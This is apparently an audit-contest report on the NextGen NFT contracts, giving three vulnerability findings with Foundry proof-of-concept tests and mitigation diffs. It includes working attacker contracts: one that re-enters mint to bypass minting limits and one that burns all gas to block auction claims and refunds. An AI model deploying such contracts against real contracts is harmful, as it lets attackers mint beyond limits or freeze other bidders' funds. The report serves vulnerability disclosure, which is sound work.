NextGen - DarkTower's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/MinterContract.sol#L196 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/NextGenCore.sol#L231

Vulnerability details

Impact

The reentrancy vulnerability in the NextGenMinterContract::mint function allows an attacker to bypass the restriction of minting only one NFT per period. The reentrencies can be achieved from the _safeMint in the function NextGenCore::_mintProcessing to call the function NextGenMinterContract::mint again and again. The attacker can also bypass the viewMaxAllowance check for any sales option. Consequently, an attacker could exploit this to mint many NFTs within a single period and for any max allowance set.

This could distrupt the collection supply, and bypass any intended restriction and allowance that was set by the function admin of the NextGenCore::createCollection.

Proof of Concept

The issue arises because the following parameters do not update after each call. Basically, after reentering, gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) does not update while _numberOfTokens and gencore.viewMaxAllowance(col) stay the same.

            require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens");
            require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= 
            gencore.viewMaxAllowance(col), "Max");

Following the same logic, for the sales Option == 3, the following conditions do not revert because :

• _numberOfTokens stays the same (=1)
• collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1)) also stays the same. Since this code will run after the last iteration, the circulating supply will not change (and it will be equal to the number of iteration or reentrencies). As long as tDiff>1, the reentrency will work.

            uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod;
            require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period");
            lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * 
            (gencore.viewCirSupply(col) - 1));

POC

You can add this test to the file nextGen.t.sol of our foundry setup in gist C4 nextGen foundry setup. And execute it with the command forge test --mt testCanReenterMintForSaleOption3 -vvvv

    function testCanReenterMintForSaleOption3() public {
        createAndSetCollections();
        Attack attacker = new Attack(address(hhMinter));
        vm.deal(address(attacker), 10 ether);
        vm.deal(address(user), 10 ether);

        bytes32[] memory bytesB = new bytes32[](1);
        bytesB[0] = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870;
        uint256 msgValue = 1 ether;

        vm.warp(1698138500);
        vm.prank(address(attacker));
        hhMinter.mint{value: msgValue}(3, 1, 100, "tokenData", address(attacker), bytesB, address(0), 1);

        // Check that max allowance per address is equal to 1
        assertEq(hhCore.viewMaxAllowance(3), 1);

        // Check that attacker has minted many NFTs for the same period
        assertEq(IERC721(hhCore).ownerOf(30000000000), address(attacker));
        assertEq(IERC721(hhCore).ownerOf(30000000001), address(attacker));
        assertEq(IERC721(hhCore).ownerOf(30000000002), address(attacker));
        assertEq(IERC721(hhCore).ownerOf(30000000003), address(attacker));
        assertEq(IERC721(hhCore).ownerOf(30000000004), address(attacker));


        // Check that a user cannot mint more than 1 NFT 
        vm.prank(address(user));
        hhMinter.mint{value: 4 ether}(3, 1, 100, "tokenData", address(user), bytesB, address(0), 1);
        vm.expectRevert(abi.encodePacked("Max")); // Can only buy 1 nft per collection
        vm.prank(address(user));
        hhMinter.mint{value: 4 ether}(3, 1, 100, "tokenData", address(user), bytesB, address(0), 1);

    }


// Attack contract

import "smart-contracts/IERC721Receiver.sol";

interface IMinterContract {
    function mint(
        uint256 _collectionID,
        uint256 _numberOfTokens,
        uint256 _maxAllowance,
        string memory _tokenData,
        address _mintTo,
        bytes32[] calldata merkleProof,
        address _delegator,
        uint256 _saltfun_o
    ) external payable;
    function burnToMint(uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o)
        external
        payable;
}

contract Attack is IERC721Receiver {
    IMinterContract public immutable minterContract;
    uint256 _tokenId;
    uint256 value = 1 ether;
    uint256 rotation;

    constructor(address _minterContract) {
        minterContract = IMinterContract(_minterContract);
        _tokenId = 30000000000 - 1;
    }

    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
        public
        returns (bytes4)
    {
        rotation += 1;
        while (address(this).balance > 1 && rotation < 5) {
            _tokenId += 1;
            attack(_tokenId);
        }

        return IERC721Receiver.onERC721Received.selector;
    }

    function attack(uint256 tokenId) public payable {
        bytes32[] memory bytesB = new bytes32[](1);
        bytesB[0] = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870;
        value += value * 20 / 100;
        minterContract.mint{value: value}(3, 1, 100, "tokenData", address(this), bytesB, address(0), 1);
    }
}

Tools Used

Manual review + foundry

Recommended Mitigation Steps

• Add reentrancy guards
• Follow CEI pattern for both functions NextGenMinterContract::mint && NextGenCore::mint

For the second recommandation you can consider the following changes :

function NextGenMinterContract::mint :

-        collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value;
-        // control mechanism for sale option 3
-        if (collectionPhases[col].salesOption == 3) {
-            uint timeOfLastMint;
-            if (lastMintDate[col] == 0) { 
-                timeOfLastMint = collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod; 
-            } else {
-                timeOfLastMint =  lastMintDate[col];
-            }
-            // uint calculates if period has passed in order to allow minting
-            uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod;
-            require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period");
-            lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * 
-            (gencore.viewCirSupply(col) - 1));
-            }




    function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory 
   _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public 
   payable {
+        collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value;
+        // control mechanism for sale option 3
+        if (collectionPhases[col].salesOption == 3) {
+            uint timeOfLastMint;
+            if (lastMintDate[col] == 0) { 
+                timeOfLastMint = collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod; 
+            } else {
+                timeOfLastMint =  lastMintDate[col];
+            }
+            // uint calculates if period has passed in order to allow minting
+            uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod;
+            require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period");
+            lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * 
+            (gencore.viewCirSupply(col)));
+            }

function NextGenCore::mint :

    function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_collectionID].collectionTotalSupply >= 
            collectionAdditionalData[_collectionID].collectionCirculationSupply) {
            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
-            if (phase == 1) {
-                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = 
-                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
-            } else {
-                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID] 
-                [_mintingAddress] + 1;
-            }
        }
    }
    }

    function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 
   _saltfun_o, uint256 _collectionID, uint256 phase) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        collectionAdditionalData[_collectionID].collectionCirculationSupply = 
        collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_collectionID].collectionTotalSupply >= 
            collectionAdditionalData[_collectionID].collectionCirculationSupply) {
+            if (phase == 1) {
+                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = 
+                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
+            } else {
+                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID] 
+                [_mintingAddress] + 1;
+            }
            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
        }
    }

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L116

Vulnerability details

Impact

The auctionDemo::claimAuction and auctionDemo::cancelBid functions can both be called in the same transaction if timed correctly. Winner can execute this transaction exactly when block.timestamp = minter.getAuctionEndTime(_tokenid). If timed perfectly, this could lead to unintended consequences, such as a user being able to claim the NFT and cancel their bid at the same time. Although this is difficult to achieve. If the winner is also a block miner, he could have sufficient discretion over the block timestamp, which can make this scenario achievable.

Impact is high, as other bidders funds are at risk. Likelihood is low due to the complexity of the scenario which makes this issue medium risk.

Proof of Concept

There is a very short window where both auctionDemo::claimAuction && auctionDemo::cancelBid can be called in the same transaction:

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
@>       require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && 
        minter.getAuctionStatus(_tokenid) == true);

    function cancelBid(uint256 _tokenid, uint256 index) public {
@>       require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

The function auctionDemo::cancelBid can also be called from inside the call assuming the winner has other addresses set up as bidders.

              else if (auctionInfoData[_tokenid][i].status == true) {
@>               (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: 
                auctionInfoData[_tokenid][i].bid}("");

POC

You can add this test to the file nextGen.t.sol of our foundry setup in gist C4 nextGen foundry setup. And execute it with the command forge test --mt testBidAndCancelBid -vvvv

    function testBidAndCancelBid() public {
        createAndSetCollections();
        vm.deal(auctionBidder, 10 ether);

        // Note since this scenario only works if block.timestamp == auctionEndTime
        // auctionBidder knows in advance that he is the winner
        // sends a transaction with both claimAuction and cancelBid

        vm.warp(1698138500 + 300);
        hhMinter.mintAndAuction(auction, '{"tdh": "100"}', 3, 2, 1998138500);
        uint256 tokenId = 20000000000; // second collection

        vm.prank(auctionBidder);
        hhAuction.participateToAuction{value: 2 ether}(tokenId);

        vm.prank(auction);
        IERC721(hhCore).approve(address(hhAuction), 20000000000);

        vm.warp(1998138500);
        vm.prank(auctionBidder);
        hhAuction.claimAuction(tokenId); // claim rewards

        vm.prank(auctionBidder);
        hhAuction.cancelBid(tokenId, 0); // cancels Bid after claming reward
    }

Tools Used

Manual review + foundry

Recommended Mitigation Steps

• Switch the mapping auctionInfoData status to false :

function auctionDemo::claimAuction:

        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == 
                highestBid && auctionInfoData[_tokenid][i].status == true) {
+               auctionInfoData[_tokenid][i].status = false;
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
+               auctionInfoData[_tokenid][i].status = false;
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: 
                auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L116 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L110

Vulnerability details

Impact

As explained in the solidity documentation, unlike transfer or send, call forwards all gas. An attacker, can set himself up as a bidder then forces the call to consume all available gas which will permanently DOS the function auctionDemo::claimAuction.

The impact is high, as the winner cannot claim the NFT plus non-winning bidders can lose their funds because they will not be able to get a refund. All the auctions are impacted.

Proof of Concept

The following code line transfers all gas to the subsequent logic.

function auctionDemo::claimAuction :

              else if (auctionInfoData[_tokenid][i].status == true) {
@>              (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: 
                auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);

If one call is set up such as the fallback or receive function of the bidder's address consumes all gas, the function claimAuction will permanently revert.

The winner cannot claim the NFT. The other bidders cannot get a refund because the cancel functions assume that minter.getAuctionEndTime(_tokenid) has not yet been passed.

POC

You can add this test to the file nextGen.t.sol of our foundry setup in gist C4 nextGen foundry setup. And execute it with the command forge test --mt testClaimAlwaysReverts -vvvv

    function testClaimAlwaysReverts() public {
        createAndSetCollections();
        vm.deal(auctionBidder, 10 ether);

        attackerDOS attackerBidder = new attackerDOS();
        vm.deal(address(attackerBidder), 10 ether);

        vm.warp(1698138500 + 200);
        hhMinter.mintAndAuction(auction, '{"tdh": "100"}', 3, 2, 1998138500);
        uint256 tokenId = 20000000000; // second collection

        vm.prank(address(attackerBidder));
        hhAuction.participateToAuction{value: 1 ether}(tokenId);

        vm.prank(auctionBidder);
        hhAuction.participateToAuction{value: 2 ether}(tokenId);

        vm.prank(auction);
        IERC721(hhCore).approve(address(hhAuction), 20000000000);

        vm.warp(1998138500);
        // Since this is being done in foundry, the call will never end. In a simulated chain this should revert because Out of gas error.
        vm.prank(auctionBidder);
        hhAuction.claimAuction(tokenId);
    }
contract attackerDOS {
    receive() external payable {
        // Attempt to consume a lot of gas
        while (true) {}
    }
}

Note that the test testClaimAlwaysReverts() never ends if run in foundry directly as unit testing does not consider the gas limit. But in a simulated chain or other web framework (Remix for example), this test should revert as expected because out of gas error.

Tools Used

Manual review + foundry

Recommended Mitigation Steps

• Consider removing the refund part from the auctionDemo::claimAuction function as this creates weaknesses. Instead, allow each user (pull over push pattern) to withdraw his funds back (except for the winner). Also, allow bidders (except winner) to withdraw their funds at any time from the cancel functions.

function auctionDemo::claimAuction:

for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
+               auctionInfoData[_tokenid][i].status = false;
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } 
-              else if (auctionInfoData[_tokenid][i].status == true) {
-               (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: 
-               auctionInfoData[_tokenid][i].bid}("");
-               emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
-           } 
           else {}
        }

function auctionDemo::cancelBid:

-       require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

function auctionDemo::cancelAllBids:

-       require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

Assessed type

DoS